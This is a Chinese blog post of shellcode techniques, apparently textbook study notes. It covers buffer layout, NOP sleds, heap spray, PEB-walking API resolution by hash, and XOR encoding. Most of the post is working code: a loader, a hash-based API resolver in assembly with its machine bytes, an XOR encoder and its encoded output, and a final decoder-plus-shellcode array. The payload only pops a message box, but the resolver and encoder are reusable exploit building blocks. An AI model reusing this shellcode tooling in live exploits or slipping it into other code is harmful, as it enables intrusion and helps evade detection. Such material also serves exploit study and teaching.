shellcode的技巧

一、缓冲区组织方式

shellcode在返回地址前:适合于缓冲区较大,使总攻击串长度较小,不会破坏前栈帧;但是有可能会被压栈数据破坏。

shellcode在返回地址后:不会担心被新的压栈数据破坏;但会破坏前栈帧,不利于现场的恢复。

二、抬高栈顶保护shellcode

使得压栈数据不会破坏shellcode。

三、增加成功率

1.将shellcode布置在一大段nop后

2.采用连续的跳转指令

3.使用heap spray部署解决字节错位问题

四、通用shellcode

动态定位API(hash运算寻找函数)

五、shellcode编码

加壳:编码与解码(xor)

 

 

/**loader*/
void main()
{
__asm
{
lea eax, MachineCode
push eax
ret
}
}
/**API hash*/
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fun_name)
{
DWORD digest=0;
while(*fun_name)
{
digest=((digest<<25)|(digest>>7));
digest+= *fun_name ;
fun_name++;
}
return digest;
}
main()
{
DWORD hash;
hash= GetHash("MessageBoxA");
printf("result of hash is %.8x\n",hash);
}
/**汇编代码*/
int main()
{
_asm{
nop
nop



nop
nop
nop
CLD ; clear flag DF
;store hash
push 0x1e380a6a ;hash of MessageBoxA
push 0x4fd18963 ;hash of ExitProcess
push 0x0c917432 ;hash of LoadLibraryA
mov esi,esp ; esi = addr of first function hash
lea edi,[esi-0xc] ; edi = addr to start writing function

 

; make some stack space
xor ebx,ebx
mov bh, 0x04
sub esp, ebx



; push a pointer to "user32" onto stack
mov bx, 0x3233 ; rest of ebx is null
push ebx
push 0x72657375
push esp

xor edx,edx


; find base addr of kernel32.dll
mov ebx, fs:[edx + 0x30] ; ebx = address of PEB
mov ecx, [ebx + 0x0c] ; ecx = pointer to loader data
mov ecx, [ecx + 0x1c] ; ecx = first entry in initialisation order list
mov ecx, [ecx] ; ecx = second entry in list (kernel32.dll)
mov ebp, [ecx + 0x08] ; ebp = base address of kernel32.dll


find_lib_functions:

lodsd ; load next hash into al and increment esi
cmp eax, 0x1e380a6a ; hash of MessageBoxA - trigger
; LoadLibrary("user32")
jne find_functions
xchg eax, ebp ; save current hash
call [edi - 0x8] ; LoadLibraryA
xchg eax, ebp ; restore current hash, and update ebp
; with base address of user32.dll


find_functions:
pushad ; preserve registers
mov eax, [ebp + 0x3c] ; eax = start of PE header
mov ecx, [ebp + eax + 0x78] ; ecx = relative offset of export table
add ecx, ebp ; ecx = absolute addr of export table
mov ebx, [ecx + 0x20] ; ebx = relative offset of names table
add ebx, ebp ; ebx = absolute addr of names table
xor edi, edi ; edi will count through the functions

next_function_loop:
inc edi ; increment function counter
mov esi, [ebx + edi * 4] ; esi = relative offset of current function name
add esi, ebp ; esi = absolute addr of current function name
cdq ; dl will hold hash (we know eax is small)

hash_loop:
movsx eax, byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,7
add edx,eax
inc esi
jmp hash_loop

compare_hash:
cmp edx, [esp + 0x1c] ; compare to the requested hash (saved on stack from pushad)
jnz next_function_loop


mov ebx, [ecx + 0x24] ; ebx = relative offset of ordinals table
add ebx, ebp ; ebx = absolute addr of ordinals table
mov di, [ebx + 2 * edi] ; di = ordinal number of matched function
mov ebx, [ecx + 0x1c] ; ebx = relative offset of address table
add ebx, ebp ; ebx = absolute addr of address table
add ebp, [ebx + 4 * edi] ; add to ebp (base addr of module) the
; relative offset of matched function
xchg eax, ebp ; move func addr into eax
pop edi ; edi is last onto stack in pushad
stosd ; write function addr to [edi] and increment edi
push edi
popad ; restore registers
; loop until we reach end of last hash
cmp eax,0x1e380a6a
jne find_lib_functions

function_call:
xor ebx,ebx
push ebx // cut string
push 0x74736577
push 0x6C696166 //push failwest
mov eax,esp //load address of failwest
push ebx
push eax
push eax
push ebx
call [edi - 0x04] ; //call MessageboxA
push ebx
call [edi - 0x08] ; // call ExitProcess
nop
nop
nop
nop
}
}
/**汇编代码对应的二进制码*/
90 FC 68 6A 0A 38 1E 68 63 89 D1 4F 68 32 74 91
0C 8B F4 8D 7E F4 33 DB B7 04 2B E3 66 BB 33 32
53 68 75 73 65 72 54 33 D2 64 8B 5A 30 8B 4B 0C
8B 49 1C 8B 09 8B 69 08 AD 3D 6A 0A 38 1E 75 05
95 FF 57 F8 95 60 8B 45 3C 8B 4C 05 78 03 CD 8B
59 20 03 DD 33 FF 47 8B 34 BB 03 F5 99 0F BE 06
3A C4 74 08 C1 CA 07 03 D0 46 EB F1 3B 54 24 1C
75 E4 8B 59 24 03 DD 66 8B 3C 7B 8B 59 1C 03 DD
03 2C BB 95 5F AB 57 61 3D 6A 0A 38 1E 75 A9 33
DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 50
50 53 FF 57 FC 53 FF 57 F8 90 90
/**加密*/
void encoder (char* input, unsigned char key, int display_flag)// bool display_flag
{
int i=0,len=0;
FILE * fp;
unsigned char * output;
len = strlen(input);
output=(unsigned char *)malloc(len+1);
if(!output)
{
printf("memory erro!\n");
exit(0);
}
//encode the shellcode
for(i=0;i<len;i++)
{
output[i] = input[i]^key;
}
if(!(fp=fopen("encode.txt","w+")))
{
printf("output file create erro");
exit(0);
}
fprintf(fp,"\"");
for(i=0;i<len;i++)
{
fprintf(fp,"\\x%0.2x", output[i]);
if((i+1)%16==0)
{
fprintf(fp,"\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encoded shellcode to encode.txt OK!\n");
if(display_flag)//print to screen
{
for(i=0;i<len;i++)
{
printf("%0.2x ",output[i]);
if((i+1)%16==0)
{
printf("\n");
}
}
}
free(output);
}
void main()
{
encoder(popup_general,0x44 ,1);
getchar();
}
/**加密结果*/
\xb8\x2c\x2e\x4e\x7c\x5a\x2c\x27\xcd\x95\x0b\x2c\x76\x30\xd5\x48"
"\xcf\xb0\xc9\x3a\xb0\x77\x9f\xf3\x40\x6f\xa7\x22\xff\x77\x76\x17"
"\x2c\x31\x37\x21\x36\x10\x77\x96\x20\xcf\x1e\x74\xcf\x0f\x48\xcf"
"\x0d\x58\xcf\x4d\xcf\x2d\x4c\xe9\x79\x2e\x4e\x7c\x5a\x31\x41\xd1"
"\xbb\x13\xbc\xd1\x24\xcf\x01\x78\xcf\x08\x41\x3c\x47\x89\xcf\x1d"
"\x64\x47\x99\x77\xbb\x03\xcf\x70\xff\x47\xb1\xdd\x4b\xfa\x42\x7e"
"\x80\x30\x4c\x85\x8e\x43\x47\x94\x02\xaf\xb5\x7f\x10\x60\x58\x31"
"\xa0\xcf\x1d\x60\x47\x99\x22\xcf\x78\x3f\xcf\x1d\x58\x47\x99\x47"
"\x68\xff\xd1\x1b\xef\x13\x25\x79\x2e\x4e\x7c\x5a\x31\xed\x77\x9f"
"\x17\x2c\x33\x21\x37\x30\x2c\x22\x25\x2d\x28\xcf\x80\x17\x14\x14"
"\x17\xbb\x13\xb8\x17\xbb\x13\xbc\xd4
/**解密*/
void main()
{
__asm int 3
__asm
{
nop
nop
nop
nop
nop
nop
//call decode_geteip
//decode_geteip:
// pop eax
add eax, 0x14 //locate the real start of shellcode
xor ecx,ecx
decode_loop:
mov bl,[eax+ecx]
xor bl, 0x44 //key,should be changed to decode
mov [eax+ecx],bl

inc ecx
cmp bl,0x90 // assume 0x90 as the end mark of shellcode
jne decode_loop
nop
nop
nop
nop
nop
}
}
/**最终代码*/
//key = 0x04
char final_sc_04[]=
"\x83\xC0\x14" //ADD EAX,14
"\x33\xC9" //XOR ECX,ECX
"\x8A\x1C\x08" //MOV BL,BYTE PTR DS:[EAX+ECX]
"\x80\xF3\x04" //XOR BL,4 //notice 0x04 is taken as temp key to decode !
"\x88\x1C\x08" //MOV BYTE PTR DS:[EAX+ECX],BL
"\x41" //INC ECX
"\x80\xFB\x90" //CMP BL,90
"\x75\xF1" //JNZ SHORT decoder.00401034
"\xf8\x6c\x6e\x0e\x3c\x1a\x6c\x67\x8d\xd5\x4b\x6c\x36\x70\x95\x08"
"\x8f\xf0\x89\x7a\xf0\x37\xdf\xb3\x00\x2f\xe7\x62\xbf\x37\x36\x57"
"\x6c\x71\x77\x61\x76\x50\x37\xd6\x60\x8f\x5e\x34\x8f\x4f\x08\x8f"
"\x4d\x18\x8f\x0d\x8f\x6d\x0c\xa9\x39\x6e\x0e\x3c\x1a\x71\x01\x91"
"\xfb\x53\xfc\x91\x64\x8f\x41\x38\x8f\x48\x01\x7c\x07\xc9\x8f\x5d"
"\x24\x07\xd9\x37\xfb\x43\x8f\x30\xbf\x07\xf1\x9d\x0b\xba\x02\x3e"
"\xc0\x70\x0c\xc5\xce\x03\x07\xd4\x42\xef\xf5\x3f\x50\x20\x18\x71"
"\xe0\x8f\x5d\x20\x07\xd9\x62\x8f\x38\x7f\x8f\x5d\x18\x07\xd9\x07"
"\x28\xbf\x91\x5b\xaf\x53\x65\x39\x6e\x0e\x3c\x1a\x71\xad\x37\xdf"
"\x57\x6c\x73\x61\x77\x70\x6c\x62\x65\x6d\x68\x8f\xc0\x57\x54\x54"
"\x57\xfb\x53\xf8\x57\xfb\x53\xfc\x94";

 

posted @ 2015-10-29 16:13  大魔王Faker  阅读(622)  评论(0编辑  收藏  举报